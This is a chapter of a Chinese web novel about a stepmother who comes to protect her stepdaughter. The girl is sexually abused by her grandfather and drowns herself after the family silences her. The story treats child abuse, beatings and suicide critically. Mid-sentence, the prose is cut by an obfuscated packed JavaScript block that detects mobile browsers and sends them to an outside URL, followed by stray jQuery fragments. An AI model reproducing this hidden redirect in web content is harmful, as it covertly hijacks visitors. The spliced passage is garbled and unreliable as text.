嫁进刘家的时候，很多人都说方欣命好，也许在他们眼里，只有小学学历，还嫁过人的自己，能嫁进书香门第做媳妇儿，那可真是祖上显灵。


    方欣说不清是好是坏，总之在父母的操持下，她嫁了。


    结第二次婚，没有第一次的惴惴不安，方欣按照第一次结婚那般走完一天的流程，晚上履行完夫妻义务，她想去浴室冲一冲身子，没想到意外看到刘根从刘蓓房间出来。


    方欣不说话，盯着刘根，刘根瞥了她一眼，眼神躲闪解释道：“我给蓓蓓拿点东西。”


    说完便下楼回自己房间，方欣去浴室冲完澡，经过刘蓓房间时，门缝是黑的，灯没开，她想起自己还没好好认识一下这个继女，回到自己房间，她冲还在回味的刘强说起这事，刘强身子一转，说：“没什么，爸怕蓓蓓半夜饿，给她送点吃的。”


    “是吗？”


    面对方欣的反问，刘强闭眼睡觉。


    方欣是别村嫁过来的，也不知当初是媒人有意隐瞒还是忘了说，没多久家里人就感觉到了她的强势和不好说话。


    刘根吃不得辣，大部分时候是刘蓓做饭，方欣一来，吃不惯刘蓓做的菜，抢了锅铲，顿顿菜里红的绿的辣椒比主菜都多，吃的刘根拉不出屎。


    他想要刘蓓接着给他开小灶，没想到方欣把锅铲往铁锅里一扔，在厨房对着客厅吃饭的几人意有所指，“天天说什么一家人一家人，一家人就是这样吃饭的，干脆分家算了，这房子强子盖的，没花钱的统统滚出去，柴米油盐不要钱啊。”


    刘根气的碗一摔，连续吃了一周的咸菜泡饭，最后又不得不妥协，哪怕三天两头去村里的小诊所买开塞露。


    方欣不想洗衣服，在床上缠着刘强买洗衣机，刘强一边喘气一边说：“要蓓蓓洗，不要你动手。”


    方欣看着头顶摇晃的灯，夹着腰说：“她一周回来个两三次，堆到一起衣服不得臭了，买吧，强子。”


    刘强正在兴头上，连忙点头，方欣一边晃一边拿过他手机，给自己发了一个三千的红包。


    周五下午，回家打算洗衣服的刘蓓看着家里的新洗衣机，一声不吭。


    方欣管的越来越宽，刘根对她也越来越不满，他退休后在家里开了个补习班，以前学生还挺多，后来大家生活好了，都纷纷去县城里上小学，村里的小学都要办不下去了，更别提他这个补习班，不过偶尔也会有几个人。


    自从方欣来后，嫌家里小孩吵，把他们统统赶走，刘根气得当场和方欣吵了起来。


    “我在我房间，关你什么事？吵到你什么了？”


    方欣躺在沙发上看电视，咬了一口苹果，说：“大白天关着门，谁知道你在房间干什么？”


    刘根一言不发走下楼。


    没了补习班，刘根没事干就天天在小卖部牌桌上，大声说着方欣的坏话，


    “一个女人，衣服都不洗，菜做得也难吃，对刘蓓更别提了，天天打她，吓得刘蓓放假都不敢回来，我要是知道方欣是这样一个人，我说什么也不会让刘强娶。”


    “不配做个女人。”


    很快，全村人都知道刘强娶了个泼妇。


    方欣在村里人的闲言碎语声中依旧我行我素，刘蓓初三那年，方欣生了一对双胞胎，刘强大喜，住院第二天，刘蓓来了，带着她煮了几个小时的鸡汤。


    “你怎么来了，不是要上课？”


    “请假了。”刘蓓把保温壶拧开递给她。


    方欣凝了她几秒，接过，汤炖得很鲜美，肉也烂，她连吃了一个鸡翅和鸡腿后说：“我生了两个儿子。”


    刘蓓转向正在婴儿床里睡觉的自己同父异母的弟弟，点了点头。


    “按照村里习俗，儿子养老，刘蓓，你爸不用你管，你想去哪就去，懂吗？”


    方欣半坐在床上，刚生产完，人有些虚弱，连平时看起来凶巴巴的脸也由于当了妈妈，而显得没那么凶。刘蓓望着方欣，抖着嘴唇，半天说不出一个字。


    “行了，赶紧回学校，来这做什么，马上中考了，你要没考上高中，家里可没钱给你上私立的。”


    方欣把刘蓓赶走，喝完鸡汤后，正要把保温壶放到旁边柜子上，发现上面不知何时多了一张小卡片。


    ——这几天天凉，注意保暖，生孩子辛苦了。


    方欣把卡片小心放在枕头下。


    刘蓓考到了县里的二中后，回来的更加少，但她成绩不好，班主任打过几次电话来，有一次是方欣接的，她用不太标准的普通话，和班主任聊了很久，当天给刘蓓打电话，要她这周回来。


    刘蓓那周回来了，方欣发现，她化妆了，很粗糙的妆，但由于年轻，连粗糙都带着天然的美。


    “你班主任说你谈恋爱了，真的吗？”


    刘蓓打字的手一停，随后否认：“没有。”


    “没有你现在在跟谁聊天？”


    面对方欣的诘问，叛逆期的刘蓓不想理会，不耐烦说了句：“你别管。”


    “刘蓓！你要读大学知道吗！你现在谈什么恋爱！”方欣见她这副吊儿郎当的样子，不由怒从中来。


    “我考不到好大学，学不进去。”刘蓓眨眼的时候，能感觉到结在一起的睫毛膏在眼前一扇一扇。


    “学不进去也要学！你告诉我，你到底是不是在谈恋爱，和谁！”


    “是又怎么样？我就是喜欢他，他对我很好！”


    “什么叫好？”


    十六七岁的年纪，对爱理解匮乏的年纪，哪怕是一杯3块钱的奶茶都会让人联想到爱。


    于是头脑一热扎进去，互通短信，说着“亲爱的”“宝宝”“爱你”这种脸红心跳的话，牵个手，更甚接个吻，把自己带入到小说里的女主角，满足于虚无缥缈，一阵风就能吹倒的空中楼阁。


    刘蓓被问住，但又不想让心里坚贞的爱情被人轻视，“反正你别管，他说了会对我好，我相信他。”


    刘蓓刚说完，头被方欣重重敲了一下，她一声大叫，紧接着，裸露在外的大腿重重挨了一掌，她想跑，但被方欣拧住手，没一会儿房间就响起了手掌拍在皮肤上的清脆声，夹杂着刘蓓的尖叫，哭声。


    “我早就跟你说了，读书是你唯一的出路！不然你只能留在村里，留在这个烂透了的地方一辈子出不去！我跟你说了多少遍，你怎么那么没出息。”


    “你放开我，我不要读书，我读不进！读不进！”


    “谈恋爱？小小年纪谈恋爱！十七八岁的毛头小子，你以为他是喜欢你，他是那根几把痒了，你怎么那么贱！”方欣打得手掌发麻也不停，她要打，要骂，要把这个人叫醒。


    “他不是那种人！他不是爷爷那种人！他不是！”


    “你放过我吧，我真的撑不下去了，妈！”


    方欣头发凌乱停下了手，那是刘蓓第一次叫她妈。


    得到自由的刘蓓也同时没了力气，她坐倒在地上，头埋在双腿崩溃大哭。


    “我已经没有未来了，你让我先活下去吧，求你了。”


    因为已经不知道该怎么活下去了，哪怕这份爱，它劣质，脆弱，不堪，也请先让我依赖它活下去吧。


    方欣咬着唇手足无措哭


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204115|187222||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    着抱住同样颤抖的刘蓓，自己该怎么办，该怎么救这个和自己有同样经历的女孩儿。


    她该怎么办啊！


    “刘蓓，你好好读书，考不上本科就上专科，专科也是大学生，大学生都能找到工作，你一定要好好读书！我求你了，你就当为了你亲妈读，行吗？”


    小学毕业没能再继续的学习的方欣是那么迷信读了书会让人生变好，她看着村里回来的大学生各个都光鲜亮丽，会说英语，有的还能说什么法语，甚至有去国外的，她想要刘蓓也这样，她想用自己有限的了解救这个女孩儿。


    “好。我读。”刘蓓在她怀里哭着点头，随后说，“你也是我亲妈。”


    方欣抱紧刘蓓。


    一直到高二暑假，刘强再没接到班主任打来的告状电话。


    后来方欣总在想，如果那天没有回娘家贪那杯喜酒喝就好了。


    娘家妹妹结婚，她本想在娘家住一晚，但两个孩子不愿意，于是摸黑坐同村人的摩托车一起回来。


    到家时，厅里没灯，她打开灯，往二楼走，她给刘蓓带了两包喜糖，刚走到二楼，打开灯，看到斜对门敞开的刘蓓房间里，她一辈子都忘不了的画面。


    “事情发生了，刘根说他酒喝多了，一时糊涂，我说要报警，结果...”方欣转向低头不敢面对众人的刘功，“你是怎么说的？你说不能报警，这事传出去，我在学校怎么立足，还有你...你是刘蓓的亲爸爸！亲爹！当了一辈子窝囊废！你就该断子绝孙！你们刘家所有人，都该死！”


    方欣流下泪来，自嘲一笑：“我也该死，我竟然让刘蓓就这么死了。”


    她一个小学毕业的女人，如今带着两个儿子，离了婚，她该怎么生活，她可能连儿子的抚养权都拿不到。


    方欣以前学过一个词，叫身不由己，后来她发现，这个词说的就是自己。


    身不由己，她一直都没能为自己哪怕真正地做过一件事。


    那晚，刘蓓坐在床上，刘家人跪在她床边求她不要往外说，她不言不语，连眼泪都没有，就这么坐到所有人都走了，都睡了，她从床上爬起来，换了一身干净的衣服，走了出去。


    第二天，村民在河边洗衣服时，看到漂在水面早已没了呼吸的刘蓓。


    刘家人口径一致对外，说刘蓓自杀，有村民问是不是方欣经常打她，刘蓓才受不了，刘家人看着在灵堂上哭到无声的方欣，没有反驳。


    刘蓓葬礼结束，方欣坐在她房里，连哭都哭不出来。


    “我是不是很没用，对不起，走了也好，我会多给你烧点钱，你投个好胎，把这辈子忘得干干净净，下辈子活得开开心心，听到了吗？”


    前几天说有台风，比平时强的风刷刷吹开刘蓓桌上的本子，吹开的作文本上，刘蓓端正写着


    ——我有两个妈妈，第一个妈妈给了我生命，第二个妈妈保护了我。


    ——谢谢妈妈。


    方欣看着那行字，眼泪夺眶而出，她伏在刘蓓的床上痛哭失声。


    蓓蓓，我的女儿，我没能保护的女儿。


    *


    灵堂里各个角落响起细细碎碎的抽泣声，一屋的人听完全过程后，有人大声咯痰朝地上意有所指吐了口唾沫，有人踢倒了脚边的骨灰坛，有人直接往外走。


    有一个人走就有人跟风，不一会儿，刚还满当当的灵堂人就走了大半，剩下一些亲戚，你看看我，我看看你，默不作声。


    方欣抹了把湿淋淋的脸，对从始至终都没说话的刘强说：“我们离婚吧，你们这一家人，我再也忍不下去了。”